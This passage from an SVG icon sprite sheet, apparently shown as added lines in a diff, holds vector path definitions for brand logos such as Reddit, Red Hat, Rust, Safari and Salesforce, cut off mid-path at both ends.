0-3.5-1.5-3.5-3.5v-22.8c0-1.9 1.5-3.5 3.5-3.5h160.4c1.9 0 3.5 1.5 3.5 3.5V190z"></path> + </symbol> + <symbol id="rebel" viewBox="0 0 512 512"> + <path d="M256.5 504C117.2 504 9 387.8 13.2 249.9 16 170.7 56.4 97.7 129.7 49.5c.3 0 1.9-.6 1.1.8-5.8 5.5-111.3 129.8-14.1 226.4 49.8 49.5 90 2.5 90 2.5 38.5-50.1-.6-125.9-.6-125.9-10-24.9-45.7-40.1-45.7-40.1l28.8-31.8c24.4 10.5 43.2 38.7 43.2 38.7.8-29.6-21.9-61.4-21.9-61.4L255.1 8l44.3 50.1c-20.5 28.8-21.9 62.6-21.9 62.6 13.8-23 43.5-39.3 43.5-39.3l28.5 31.8c-27.4 8.9-45.4 39.9-45.4 39.9-15.8 28.5-27.1 89.4.6 127.3 32.4 44.6 87.7-2.8 87.7-2.8 102.7-91.9-10.5-225-10.5-225-6.1-5.5.8-2.8.8-2.8 50.1 36.5 114.6 84.4 116.2 204.8C500.9 400.2 399 504 256.5 504z"></path> + </symbol> + <symbol id="red-river" viewBox="0 0 448 512"> + <path d="M353.2 32H94.8C42.4 32 0 74.4 0 126.8v258.4C0 437.6 42.4 480 94.8 480h258.4c52.4 0 94.8-42.4 94.8-94.8V126.8c0-52.4-42.4-94.8-94.8-94.8zM144.9 200.9v56.3c0 27-21.9 48.9-48.9 48.9V151.9c0-13.2 10.7-23.9 23.9-23.9h154.2c0 27-21.9 48.9-48.9 48.9h-56.3c-12.3-.6-24.6 11.6-24 24zm176.3 72h-56.3c-12.3-.6-24.6 11.6-24 24v56.3c0 27-21.9 48.9-48.9 48.9V247.9c0-13.2 10.7-23.9 23.9-23.9h154.2c0 27-21.9 48.9-48.9 48.9z"></path> + </symbol> + <symbol id="reddit" viewBox="0 0 512 512"> + <path d="M201.5 305.5c-13.8 0-24.9-11.1-24.9-24.6 0-13.8 11.1-24.9 24.9-24.9 13.6 0 24.6 11.1 24.6 24.9 0 13.6-11.1 24.6-24.6 24.6zM504 256c0 137-111 248-248 248S8 393 8 256 119 8 256 8s248 111 248 248zm-132.3-41.2c-9.4 0-17.7 3.9-23.8 10-22.4-15.5-52.6-25.5-86.1-26.6l17.4-78.3 55.4 12.5c0 13.6 11.1 24.6 24.6 24.6 13.8 0 24.9-11.3 24.9-24.9s-11.1-24.9-24.9-24.9c-9.7 0-18 5.8-22.1 13.8l-61.2-13.6c-3-.8-6.1 1.4-6.9 4.4l-19.1 86.4c-33.2 1.4-63.1 11.3-85.5 26.8-6.1-6.4-14.7-10.2-24.1-10.2-34.9 0-46.3 46.9-14.4 62.8-1.1 5-1.7 10.2-1.7 15.5 0 52.6 59.2 95.2 132 95.2 73.1 0 132.3-42.6 132.3-95.2 0-5.3-.6-10.8-1.9-15.8 31.3-16 19.8-62.5-14.9-62.5zM302.8 331c-18.2 18.2-76.1 17.9-93.6 0-2.2-2.2-6.1-2.2-8.3 0-2.5 2.5-2.5 6.4 0 8.6 22.8 22.8 87.3 22.8 110.2 0 2.5-2.2 2.5-6.1 0-8.6-2.2-2.2-6.1-2.2-8.3 0zm7.7-75c-13.6 0-24.6 11.1-24.6 24.9 0 13.6 11.1 24.6 24.6 24.6 13.8 0 24.9-11.1 24.9-24.6 0-13.8-11-24.9-24.9-24.9z"></path> + </symbol> + <symbol id="reddit-alien" viewBox="0 0 512 512"> + <path d="M440.3 203.5c-15 0-28.2 6.2-37.9 15.9-35.7-24.7-83.8-40.6-137.1-42.3L293 52.3l88.2 19.8c0 21.6 17.6 39.2 39.2 39.2 22 0 39.7-18.1 39.7-39.7s-17.6-39.7-39.7-39.7c-15.4 0-28.7 9.3-35.3 22l-97.4-21.6c-4.9-1.3-9.7 2.2-11 7.1L246.3 177c-52.9 2.2-100.5 18.1-136.3 42.8-9.7-10.1-23.4-16.3-38.4-16.3-55.6 0-73.8 74.6-22.9 100.1-1.8 7.9-2.6 16.3-2.6 24.7 0 83.8 94.4 151.7 210.3 151.7 116.4 0 210.8-67.9 210.8-151.7 0-8.4-.9-17.2-3.1-25.1 49.9-25.6 31.5-99.7-23.8-99.7zM129.4 308.9c0-22 17.6-39.7 39.7-39.7 21.6 0 39.2 17.6 39.2 39.7 0 21.6-17.6 39.2-39.2 39.2-22 .1-39.7-17.6-39.7-39.2zm214.3 93.5c-36.4 36.4-139.1 36.4-175.5 0-4-3.5-4-9.7 0-13.7 3.5-3.5 9.7-3.5 13.2 0 27.8 28.5 120 29 149 0 3.5-3.5 9.7-3.5 13.2 0 4.1 4 4.1 10.2.1 13.7zm-.8-54.2c-21.6 0-39.2-17.6-39.2-39.2 0-22 17.6-39.7 39.2-39.7 22 0 39.7 17.6 39.7 39.7-.1 21.5-17.7 39.2-39.7 39.2z"></path> + </symbol> + <symbol id="reddit-square" viewBox="0 0 448 512"> + <path d="M283.2 345.5c2.7 2.7 2.7 6.8 0 9.2-24.5 24.5-93.8 24.6-118.4 0-2.7-2.4-2.7-6.5 0-9.2 2.4-2.4 6.5-2.4 8.9 0 18.7 19.2 81 19.6 100.5 0 2.4-2.3 6.6-2.3 9 0zm-91.3-53.8c0-14.9-11.9-26.8-26.5-26.8-14.9 0-26.8 11.9-26.8 26.8 0 14.6 11.9 26.5 26.8 26.5 14.6 0 26.5-11.9 26.5-26.5zm90.7-26.8c-14.6 0-26.5 11.9-26.5 26.8 0 14.6 11.9 26.5 26.5 26.5 14.9 0 26.8-11.9 26.8-26.5 0-14.9-11.9-26.8-26.8-26.8zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zm-99.7 140.6c-10.1 0-19 4.2-25.6 10.7-24.1-16.7-56.5-27.4-92.5-28.6l18.7-84.2 59.5 13.4c0 14.6 11.9 26.5 26.5 26.5 14.9 0 26.8-12.2 26.8-26.8 0-14.6-11.9-26.8-26.8-26.8-10.4 0-19.3 6.2-23.8 14.9l-65.7-14.6c-3.3-.9-6.5 1.5-7.4 4.8l-20.5 92.8c-35.7 1.5-67.8 12.2-91.9 28.9-6.5-6.8-15.8-11-25.9-11-37.5 0-49.8 50.4-15.5 67.5-1.2 5.4-1.8 11-1.8 16.7 0 56.5 63.7 102.3 141.9 102.3 78.5 0 142.2-45.8 142.2-102.3 0-5.7-.6-11.6-2.1-17 33.6-17.2 21.2-67.2-16.1-67.2z"></path> + </symbol> + <symbol id="redhat" viewBox="0 0 512 512"> + <path d="M341.52 285.56c33.65 0 82.34-6.94 82.34-47 .22-6.74.86-1.82-20.88-96.24-4.62-19.15-8.68-27.84-42.31-44.65-26.09-13.34-82.92-35.37-99.73-35.37-15.66 0-20.2 20.17-38.87 20.17-18 0-31.31-15.06-48.12-15.06-16.14 0-26.66 11-34.78 33.62-27.5 77.55-26.28 74.27-26.12 78.27 0 24.8 97.64 106.11 228.47 106.11M429 254.84c4.65 22 4.65 24.35 4.65 27.25 0 37.66-42.33 58.56-98 58.56-125.74.08-235.91-73.65-235.91-122.33a49.55 49.55 0 0 1 4.06-19.72C58.56 200.86 0 208.93 0 260.63c0 84.67 200.63 189 359.49 189 121.79 0 152.51-55.08 152.51-98.58 0-34.21-29.59-73.05-82.93-96.24"></path> + </symbol> + <symbol id="renren" viewBox="0 0 512 512"> + <path d="M214 169.1c0 110.4-61 205.4-147.6 247.4C30 373.2 8 317.7 8 256.6 8 133.9 97.1 32.2 214 12.5v156.6zM255 504c-42.9 0-83.3-11-118.5-30.4C193.7 437.5 239.9 382.9 255 319c15.5 63.9 61.7 118.5 118.8 154.7C338.7 493 298.3 504 255 504zm190.6-87.5C359 374.5 298 279.6 298 169.1V12.5c116.9 19.7 206 121.4 206 244.1 0 61.1-22 116.6-58.4 159.9z"></path> + </symbol> + <symbol id="replyd" viewBox="0 0 448 512"> + <path d="M320 480H128C57.6 480 0 422.4 0 352V160C0 89.6 57.6 32 128 32h192c70.4 0 128 57.6 128 128v192c0 70.4-57.6 128-128 128zM193.4 273.2c-6.1-2-11.6-3.1-16.4-3.1-7.2 0-13.5 1.9-18.9 5.6-5.4 3.7-9.6 9-12.8 15.8h-1.1l-4.2-18.3h-28v138.9h36.1v-89.7c1.5-5.4 4.4-9.8 8.7-13.2 4.3-3.4 9.8-5.1 16.2-5.1 4.6 0 9.8 1 15.6 3.1l4.8-34zm115.2 103.4c-3.2 2.4-7.7 4.8-13.7 7.1-6 2.3-12.8 3.5-20.4 3.5-12.2 0-21.1-3-26.5-8.9-5.5-5.9-8.5-14.7-9-26.4h83.3c.9-4.8 1.6-9.4 2.1-13.9.5-4.4.7-8.6.7-12.5 0-10.7-1.6-19.7-4.7-26.9-3.2-7.2-7.3-13-12.5-17.2-5.2-4.3-11.1-7.3-17.8-9.2-6.7-1.8-13.5-2.8-20.6-2.8-21.1 0-37.5 6.1-49.2 18.3s-17.5 30.5-17.5 55c0 22.8 5.2 40.7 15.6 53.7 10.4 13.1 26.8 19.6 49.2 19.6 10.7 0 20.9-1.5 30.4-4.6 9.5-3.1 17.1-6.8 22.6-11.2l-12-23.6zm-21.8-70.3c3.8 5.4 5.3 13.1 4.6 23.1h-51.7c.9-9.4 3.7-17 8.2-22.6 4.5-5.6 11.5-8.5 21-8.5 8.2-.1 14.1 2.6 17.9 8zm79.9 2.5c4.1 3.9 9.4 5.8 16.1 5.8 7 0 12.6-1.9 16.7-5.8s6.1-9.1 6.1-15.6-2-11.6-6.1-15.4c-4.1-3.8-9.6-5.7-16.7-5.7-6.7 0-12 1.9-16.1 5.7-4.1 3.8-6.1 8.9-6.1 15.4s2 11.7 6.1 15.6zm0 100.5c4.1 3.9 9.4 5.8 16.1 5.8 7 0 12.6-1.9 16.7-5.8s6.1-9.1 6.1-15.6-2-11.6-6.1-15.4c-4.1-3.8-9.6-5.7-16.7-5.7-6.7 0-12 1.9-16.1 5.7-4.1 3.8-6.1 8.9-6.1 15.4 0 6.6 2 11.7 6.1 15.6z"></path> + </symbol> + <symbol id="researchgate" viewBox="0 0 448 512"> + <path d="M0 32v448h448V32H0zm262.2 334.4c-6.6 3-33.2 6-50-14.2-9.2-10.6-25.3-33.3-42.2-63.6-8.9 0-14.7 0-21.4-.6v46.4c0 23.5 6 21.2 25.8 23.9v8.1c-6.9-.3-23.1-.8-35.6-.8-13.1 0-26.1.6-33.6.8v-8.1c15.5-2.9 22-1.3 22-23.9V225c0-22.6-6.4-21-22-23.9V193c25.8 1 53.1-.6 70.9-.6 31.7 0 55.9 14.4 55.9 45.6 0 21.1-16.7 42.2-39.2 47.5 13.6 24.2 30 45.6 42.2 58.9 7.2 7.8 17.2 14.7 27.2 14.7v7.3zm22.9-135c-23.3 0-32.2-15.7-32.2-32.2V167c0-12.2 8.8-30.4 34-30.4s30.4 17.9 30.4 17.9l-10.7 7.2s-5.5-12.5-19.7-12.5c-7.9 0-19.7 7.3-19.7 19.7v26.8c0 13.4 6.6 23.3 17.9 23.3 14.1 0 21.5-10.9 21.5-26.8h-17.9v-10.7h30.4c0 20.5 4.7 49.9-34 49.9zm-116.5 44.7c-9.4 0-13.6-.3-20-.8v-69.7c6.4-.6 15-.6 22.5-.6 23.3 0 37.2 12.2 37.2 34.5 0 21.9-15 36.6-39.7 36.6z"></path> + </symbol> + <symbol id="resolving" viewBox="0 0 496 512"> + <path d="M281.2 278.2c46-13.3 49.6-23.5 44-43.4L314 195.5c-6.1-20.9-18.4-28.1-71.1-12.8L54.7 236.8l28.6 98.6 197.9-57.2zM248.5 8C131.4 8 33.2 88.7 7.2 197.5l221.9-63.9c34.8-10.2 54.2-11.7 79.3-8.2 36.3 6.1 52.7 25 61.4 55.2l10.7 37.8c8.2 28.1 1 50.6-23.5 73.6-19.4 17.4-31.2 24.5-61.4 33.2L203 351.8l220.4 27.1 9.7 34.2-48.1 13.3-286.8-37.3 23 80.2c36.8 22 80.3 34.7 126.3 34.7 137 0 248.5-111.4 248.5-248.3C497 119.4 385.5 8 248.5 8zM38.3 388.6L0 256.8c0 48.5 14.3 93.4 38.3 131.8z"></path> + </symbol> + <symbol id="rev" viewBox="0 0 448 512"> + <path d="M289.67 274.89a65.57 65.57 0 1 1-65.56-65.56 65.64 65.64 0 0 1 65.56 65.56zm139.55-5.05h-.13a204.69 204.69 0 0 0-74.32-153l-45.38 26.2a157.07 157.07 0 0 1 71.81 131.84C381.2 361.5 310.73 432 224.11 432S67 361.5 67 274.88c0-81.88 63-149.27 143-156.43v39.12l108.77-62.79L210 32v38.32c-106.7 7.25-191 96-191 204.57 0 111.59 89.12 202.29 200.06 205v.11h210.16V269.84z"></path> + </symbol> + <symbol id="rocketchat" viewBox="0 0 576 512"> + <path d="M284.046,224.8a34.114,34.114,0,1,0,34.317,34.113A34.217,34.217,0,0,0,284.046,224.8Zm-110.45,0a34.114,34.114,0,1,0,34.317,34.113A34.217,34.217,0,0,0,173.6,224.8Zm220.923,0a34.114,34.114,0,1,0,34.317,34.113A34.215,34.215,0,0,0,394.519,224.8Zm153.807-55.319c-15.535-24.172-37.31-45.57-64.681-63.618-52.886-34.817-122.374-54-195.666-54a405.975,405.975,0,0,0-72.032,6.357,238.524,238.524,0,0,0-49.51-36.588C99.684-11.7,40.859.711,11.135,11.421A14.291,14.291,0,0,0,5.58,34.782C26.542,56.458,61.222,99.3,52.7,138.252c-33.142,33.9-51.112,74.776-51.112,117.337,0,43.372,17.97,84.248,51.112,118.148,8.526,38.956-26.154,81.816-47.116,103.491a14.284,14.284,0,0,0,5.555,23.34c29.724,10.709,88.549,23.147,155.324-10.2a238.679,238.679,0,0,0,49.51-36.589A405.972,405.972,0,0,0,288,460.14c73.313,0,142.8-19.159,195.667-53.975,27.371-18.049,49.145-39.426,64.679-63.619,17.309-26.923,26.07-55.916,26.07-86.125C574.394,225.4,565.634,196.43,548.326,169.485ZM284.987,409.9a345.65,345.65,0,0,1-89.446-11.5l-20.129,19.393a184.366,184.366,0,0,1-37.138,27.585,145.767,145.767,0,0,1-52.522,14.87c.983-1.771,1.881-3.563,2.842-5.356q30.258-55.68,16.325-100.078c-32.992-25.962-52.778-59.2-52.778-95.4,0-83.1,104.254-150.469,232.846-150.469s232.867,67.373,232.867,150.469C517.854,342.525,413.6,409.9,284.987,409.9Z"></path> + </symbol> + <symbol id="rockrms" viewBox="0 0 496 512"> + <path d="M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm157.4 419.5h-90l-112-131.3c-17.9-20.4-3.9-56.1 26.6-56.1h75.3l-84.6-99.3-84.3 98.9h-90L193.5 67.2c14.4-18.4 41.3-17.3 54.5 0l157.7 185.1c19 22.8 2 57.2-27.6 56.1-.6 0-74.2.2-74.2.2l101.5 118.9z"></path> + </symbol> + <symbol id="rust" viewBox="0 0 512 512"> + <path d="M508.52,249.75,486.7,236.24c-.17-2-.34-3.93-.55-5.88l18.72-17.5a7.35,7.35,0,0,0-2.44-12.25l-24-9c-.54-1.88-1.08-3.78-1.67-5.64l15-20.83a7.35,7.35,0,0,0-4.79-11.54l-25.42-4.15c-.9-1.73-1.79-3.45-2.73-5.15l10.68-23.42a7.35,7.35,0,0,0-6.95-10.39l-25.82.91q-1.79-2.22-3.61-4.4L439,81.84A7.36,7.36,0,0,0,430.16,73L405,78.93q-2.17-1.83-4.4-3.61l.91-25.82a7.35,7.35,0,0,0-10.39-7L367.7,53.23c-1.7-.94-3.43-1.84-5.15-2.73L358.4,25.08a7.35,7.35,0,0,0-11.54-4.79L326,35.26c-1.86-.59-3.75-1.13-5.64-1.67l-9-24a7.35,7.35,0,0,0-12.25-2.44l-17.5,18.72c-1.95-.21-3.91-.38-5.88-.55L262.25,3.48a7.35,7.35,0,0,0-12.5,0L236.24,25.3c-2,.17-3.93.34-5.88.55L212.86,7.13a7.35,7.35,0,0,0-12.25,2.44l-9,24c-1.89.55-3.79,1.08-5.66,1.68l-20.82-15a7.35,7.35,0,0,0-11.54,4.79l-4.15,25.41c-1.73.9-3.45,1.79-5.16,2.73L120.88,42.55a7.35,7.35,0,0,0-10.39,7l.92,25.81c-1.49,1.19-3,2.39-4.42,3.61L81.84,73A7.36,7.36,0,0,0,73,81.84L78.93,107c-1.23,1.45-2.43,2.93-3.62,4.41l-25.81-.91a7.42,7.42,0,0,0-6.37,3.26,7.35,7.35,0,0,0-.57,7.13l10.66,23.41c-.94,1.7-1.83,3.43-2.73,5.16L25.08,153.6a7.35,7.35,0,0,0-4.79,11.54l15,20.82c-.59,1.87-1.13,3.77-1.68,5.66l-24,9a7.35,7.35,0,0,0-2.44,12.25l18.72,17.5c-.21,1.95-.38,3.91-.55,5.88L3.48,249.75a7.35,7.35,0,0,0,0,12.5L25.3,275.76c.17,2,.34,3.92.55,5.87L7.13,299.13a7.35,7.35,0,0,0,2.44,12.25l24,9c.55,1.89,1.08,3.78,1.68,5.65l-15,20.83a7.35,7.35,0,0,0,4.79,11.54l25.42,4.15c.9,1.72,1.79,3.45,2.73,5.14L42.56,391.12a7.35,7.35,0,0,0,.57,7.13,7.13,7.13,0,0,0,6.37,3.26l25.83-.91q1.77,2.22,3.6,4.4L73,430.16A7.36,7.36,0,0,0,81.84,439L107,433.07q2.18,1.83,4.41,3.61l-.92,25.82a7.35,7.35,0,0,0,10.39,6.95l23.43-10.68c1.69.94,3.42,1.83,5.14,2.73l4.15,25.42a7.34,7.34,0,0,0,11.54,4.78l20.83-15c1.86.6,3.76,1.13,5.65,1.68l9,24a7.36,7.36,0,0,0,12.25,2.44l17.5-18.72c1.95.21,3.92.38,5.88.55l13.51,21.82a7.35,7.35,0,0,0,12.5,0l13.51-21.82c2-.17,3.93-.34,5.88-.56l17.5,18.73a7.36,7.36,0,0,0,12.25-2.44l9-24c1.89-.55,3.78-1.08,5.65-1.68l20.82,15a7.34,7.34,0,0,0,11.54-4.78l4.15-25.42c1.72-.9,3.45-1.79,5.15-2.73l23.42,10.68a7.35,7.35,0,0,0,10.39-6.95l-.91-25.82q2.22-1.79,4.4-3.61L430.16,439a7.36,7.36,0,0,0,8.84-8.84L433.07,405q1.83-2.17,3.61-4.4l25.82.91a7.23,7.23,0,0,0,6.37-3.26,7.35,7.35,0,0,0,.58-7.13L458.77,367.7c.94-1.7,1.83-3.43,2.73-5.15l25.42-4.15a7.35,7.35,0,0,0,4.79-11.54l-15-20.83c.59-1.87,1.13-3.76,1.67-5.65l24-9a7.35,7.35,0,0,0,2.44-12.25l-18.72-17.5c.21-1.95.38-3.91.55-5.87l21.82-13.51a7.35,7.35,0,0,0,0-12.5Zm-151,129.08A13.91,13.91,0,0,0,341,389.51l-7.64,35.67A187.51,187.51,0,0,1,177,424.44l-7.64-35.66a13.87,13.87,0,0,0-16.46-10.68l-31.51,6.76a187.38,187.38,0,0,1-16.26-19.21H258.3c1.72,0,2.89-.29,2.89-1.91V309.55c0-1.57-1.17-1.91-2.89-1.91H213.47l.05-34.35H262c4.41,0,23.66,1.28,29.79,25.87,1.91,7.55,6.17,32.14,9.06,40,2.89,8.82,14.6,26.46,27.1,26.46H407a187.3,187.3,0,0,1-17.34,20.09Zm25.77,34.49A15.24,15.24,0,1,1,368,398.08h.44A15.23,15.23,0,0,1,383.24,413.32Zm-225.62-.68a15.24,15.24,0,1,1-15.25-15.25h.45A15.25,15.25,0,0,1,157.62,412.64ZM69.57,234.15l32.83-14.6a13.88,13.88,0,0,0,7.06-18.33L102.69,186h26.56V305.73H75.65A187.65,187.65,0,0,1,69.57,234.15ZM58.31,198.09a15.24,15.24,0,0,1,15.23-15.25H74a15.24,15.24,0,1,1-15.67,15.24Zm155.16,24.49.05-35.32h63.26c3.28,0,23.07,3.77,23.07,18.62,0,12.29-15.19,16.7-27.68,16.7ZM399,306.71c-9.8,1.13-20.63-4.12-22-10.09-5.78-32.49-15.39-39.4-30.57-51.4,18.86-11.95,38.46-29.64,38.46-53.26,0-25.52-17.49-41.59-29.4-49.48-16.76-11-35.28-13.23-40.27-13.23H116.32A187.49,187.49,0,0,1,221.21,70.06l23.47,24.6a13.82,13.82,0,0,0,19.6.44l26.26-25a187.51,187.51,0,0,1,128.37,91.43l-18,40.57A14,14,0,0,0,408,220.43l34.59,15.33a187.12,187.12,0,0,1,.4,32.54H423.71c-1.91,0-2.69,1.27-2.69,3.13v8.82C421,301,409.31,305.58,399,306.71ZM240,60.21A15.24,15.24,0,0,1,255.21,45h.45A15.24,15.24,0,1,1,240,60.21ZM436.84,214a15.24,15.24,0,1,1,0-30.48h.44a15.24,15.24,0,0,1-.44,30.48Z"></path> + </symbol> + <symbol id="safari" viewBox="0 0 512 512"> + <path d="M274.69,274.69l-37.38-37.38L166,346ZM256,8C119,8,8,119,8,256S119,504,256,504,504,393,504,256,393,8,256,8ZM411.85,182.79l14.78-6.13A8,8,0,0,1,437.08,181h0a8,8,0,0,1-4.33,10.46L418,197.57a8,8,0,0,1-10.45-4.33h0A8,8,0,0,1,411.85,182.79ZM314.43,94l6.12-14.78A8,8,0,0,1,331,74.92h0a8,8,0,0,1,4.33,10.45l-6.13,14.78a8,8,0,0,1-10.45,4.33h0A8,8,0,0,1,314.43,94ZM256,60h0a8,8,0,0,1,8,8V84a8,8,0,0,1-8,8h0a8,8,0,0,1-8-8V68A8,8,0,0,1,256,60ZM181,74.92a8,8,0,0,1,10.46,4.33L197.57,94a8,8,0,1,1-14.78,6.12l-6.13-14.78A8,8,0,0,1,181,74.92Zm-63.58,42.49h0a8,8,0,0,1,11.31,0L140,128.72A8,8,0,0,1,140,140h0a8,8,0,0,1-11.31,0l-11.31-11.31A8,8,0,0,1,117.41,117.41ZM60,256h0a8,8,0,0,1,8-8H84a8,8,0,0,1,8,8h0a8,8,0,0,1-8,8H68A8,8,0,0,1,60,256Zm40.15,73.21-14.78,6.13A8,8,0,0,1,74.92,331h0a8,8,0,0,1,4.33-10.46L94,314.43a8,8,0,0,1,10.45,4.33h0A8,8,0,0,1,100.15,329.21Zm4.33-136h0A8,8,0,0,1,94,197.57l-14.78-6.12A8,8,0,0,1,74.92,181h0a8,8,0,0,1,10.45-4.33l14.78,6.13A8,8,0,0,1,104.48,193.24ZM197.57,418l-6.12,14.78a8,8,0,0,1-14.79-6.12l6.13-14.78A8,8,0,1,1,197.57,418ZM264,444a8,8,0,0,1-8,8h0a8,8,0,0,1-8-8V428a8,8,0,0,1,8-8h0a8,8,0,0,1,8,8Zm67-6.92h0a8,8,0,0,1-10.46-4.33L314.43,418a8,8,0,0,1,4.33-10.45h0a8,8,0,0,1,10.45,4.33l6.13,14.78A8,8,0,0,1,331,437.08Zm63.58-42.49h0a8,8,0,0,1-11.31,0L372,383.28A8,8,0,0,1,372,372h0a8,8,0,0,1,11.31,0l11.31,11.31A8,8,0,0,1,394.59,394.59ZM286.25,286.25,110.34,401.66,225.75,225.75,401.66,110.34ZM437.08,331h0a8,8,0,0,1-10.45,4.33l-14.78-6.13a8,8,0,0,1-4.33-10.45h0A8,8,0,0,1,418,314.43l14.78,6.12A8,8,0,0,1,437.08,331ZM444,264H428a8,8,0,0,1-8-8h0a8,8,0,0,1,8-8h16a8,8,0,0,1,8,8h0A8,8,0,0,1,444,264Z"></path> + </symbol> + <symbol id="salesforce" viewBox="0 0 640 512"> + <path d="M248.89 245.64h-26.35c.69-5.16 3.32-14.12 13.64-14.12 6.75 0 11.97 3.82 12.71 14.12zm136.66-13.88c-.47 0-14.11-1.77-14.11 20s13.63 20 14.11 20c13 0 14.11-13.54 14.11-20 0-21.76-13.66-20-14.11-20zm-243.22 23.76a8.63 8.63 0 0 0-3.29 7.29c0 4.78 2.08 6.05 3.29 7.05 4.7 3.7 15.07 2.12 20.93.95v-16.94c-5.32-1.07-16.73-1.96-20.93 1.65zM640 232c0 87.58-80 154.39-165.36 136.43-18.37 33-70.73 70.75-132.2 41.63-41.16 96.05-177.89 92.18-213.81-5.17C8.91 428.78-50.19 266.52 53.36 205.61 18.61 126.18 76 32 167.67 32a124.24 124.24 0 0 1 98.56 48.7c20.7-21.4 49.4-34.81 81.15-34.81 42.34 0 79 23.52 98.8 58.57C539 63.78 640 132.69 640 232zm-519.55 31.8c0-11.76-11.69-15.17-17.87-17.17-5.27-2.11-13.41-3.51-13.41-8.94 0-9.46 17-6.66 25.17-2.12 0 0 1.17.71 1.64-.47.24-.7 2.36-6.58 2.59-7.29a1.13 1.13 0 0 0-.7-1.41c-12.33-7.63-40.7-8.51-40.7 12.7 0 12.46 11.49 15.44 17.88 17.17 4.72 1.58 13.17 3 13.17 8.7 0 4-3.53 7.06-9.17 7.06a31.76 31.76 0 0 1-19-6.35c-.47-.23-1.42-.71-1.65.71l-2.4 7.47c-.47.94.23 1.18.23 1.41 1.75 1.4 10.3 6.59 22.82 6.59 13.17 0 21.4-7.06 21.4-18.11zm32-42.58c-10.13 0-18.66 3.17-21.4 5.18a1 1 0 0 0-.24 1.41l2.59 7.06a1 1 0 0 0 1.18.7c.65 0 6.8-4 16.93-4 4 0 7.06.71 9.18 2.36 3.6 2.8 3.06 8.29 3.06 10.58-4.79-.3-19.11-3.44-29.41 3.76a16.92 16.92 0 0 0-7.34 14.54c0 5.9 1.51 10.4 6.59 14.35 12.24 8.16 36.28 2 38.1 1.41 1.58-.32 3.53-.66 3.53-1.88v-33.88c.04-4.61.32-21.64-22.78-21.64zM199 200.24a1.11 1.11 0 0 0-1.18-1.18H188a1.11 1.11 0 0 0-1.17 1.18v79a1.11 1.11 0 0 0 1.17 1.18h9.88a1.11 1.11 0 0 0 1.18-1.18zm55.75 28.93c-2.1-2.31-6.79-7.53-17.65-7.53-3.51 0-14.16.23-20.7 8.94-6.35 7.63-6.58 18.11-6.58 21.41 0 3.12.15 14.26 7.06 21.17 2.64 2.91 9.06 8.23 22.81 8.23 10.82 0 16.47-2.35 18.58-3.76.47-.24.71-.71.24-1.88l-2.35-6.83a1.26 1.26 0 0 0-1.41-.7c-2.59.94-6.35 2.82-15.29 2.82-17.42 0-16.85-14.74-16.94-16.7h37.17a1.23 1.23 0 0 0 1.17-.94c-.29 0 2.07-14.7-6.09-24.23zm36.69 52.69c13.17 0 21.41-7.06 21.41-18.11 0-11.76-11.7-15.17-17.88-17.17-4.14-1.66-13.41-3.38-13.41-8.94 0-3.76 3.29-6.35 8.47-6.35a38.11 38.11 0 0 1 16.7 4.23s1.18.71 1.65-.47c.23-.7 2.35-6.58 2.58-7.29a1.13 1.13 0 0 0-.7-1.41c-7.91-4.9-16.74-4.94-20.23-4.94-12 0-20.46 7.29-20.46 17.64 0 12.46 11.48 15.44 17.87 17.17 6.11 2 13.17 3.26 13.17 8.7 0 4-3.52 7.06-9.17 7.06a31.8 31.8 0 0 1-19-6.35 1 1 0 0 0-1.65.71l-2.35 7.52c-.47.94.23 1.18.23 1.41 1.72 1.4 10.33 6.59 22.79 6.59zM357.09 224c0-.71-.24-1.18-1.18-1.18h-11.76c0-.14.94-8.94 4.47-12.47 4.16-4.15 11.76-1.64 12-1.64 1.17.47 1.41 0 1.64-.47l2.83-7.77c.7-.94 0-1.17-.24-1.41-5.09-2-17.35-2.87-24.46 4.24-5.48 5.48-7 13.92-8 19.52h-8.47a1.28 1.28 0 0 0-1.17 1.18l-1.42 7.76c0 .7.24 1.17 1.18 1.17h8.23c-8.51 47.9-8.75 50.21-10.35 55.52-1.08 3.62-3.29 6.9-5.88 7.76-.09 0-3.88 1.68-9.64-.24 0 0-.94-.47-1.41.71-.24.71-2.59 6.82-2.83 7.53s0 1.41.47 1.41c5.11 2 13 1.77 17.88 0 6.28-2.28 9.72-7.89 11.53-12.94 2.75-7.71 2.81-9.79 11.76-59.74h12.23a1.29 1.29 0 0 0 1.18-1.18zm53.39 16c-.56-1.68-5.1-18.11-25.17-18.11-15.25 0-23 10-25.16 18.11-1 3-3.18 14 0 23.52.09.3 4.41 18.12 25.16 18.12 14.95 0 22.9-9.61 25.17-18.12 3.21-9.61 1.01-20.52 0-23.52zm45.4-16.7c-5-1.65-16.62-1.9-22.11 5.41v-4.47a1.11 1.11 0 0 0-1.18-1.17h-9.4a1.11 1.11 0 0 0-1.18 1.17v55.28a1.12 1.12 0 0 0 1.18 1.18h9.64a1.12 1.12 0 0 0 1.18-1.18v-27.77c0-2.91.05-11.37 4.46-15.05 4.9-4.9 12-3.36 13.41-3.06a1.57 1.57 0 0 0 1.41-.94 74 74 0 0 0 3.06-8 1.16 1.16 0 0 0-.47-1.41zm46.81 54.1l-2.12-7.29c-.47-1.18-1.41-.71-1.41-.71-4.23 1.82-10.15 1.89-11.29 1.89-4.64 0-17.17-1.13-17.17-19.76 0-6.23 1.85-19.76 16.47-19.76a34.85 34.85 0 0 1 11.52 1.65s.94.47 1.18-.71c.94-2.59 1.64-4.47 2.59-7.53.23-.94-.47-1.17-.71-1.17-11.59-3.87-22.34-2.53-27.76 0-1.59.74-16.23 6.49-16.23 27.52 0 2.9-.58 30.11 28.94 30.11a44.45 44.45 0 0 0 15.52-2.83 1.3 1.3 0 0 0 .47-1.42zm53.87-39.52c-.8-3-5.37-16.23-22.35-16.23-16 0-23.52 10.11-25.64 18.59a38.58 38.58 0 0 0-1.65 11.76c0 25.87 18.84 29.4 29.88 29.4 10.82 0 16.46-2.35 18.58-3.76.47-.24.71-.71.24-1.88l-2.36-6.83a1.26 1.26 0 0 0-1.41-.7c-2.59.94-6.35 2.82-15.29 2.82-17.42 0-16.85-14.74-16.93-16.7h37.16a1.25 1.25 0 0 0 1.18-.94c-.24-.01.94-7.07-1.41-15.54zm-23.29-6.35c-10.33 0-13 9-13.64 14.12H546c-.88-11.92-7.62-14.13-12.73-14.13z"></path> + </symbol> + <symbol id="sass" viewBox="0 0 640 512"> + <path d="M301.84 378.92c-.3.6-.6 1.08 0 0zm249.13-87a131.16 131.16 0 0 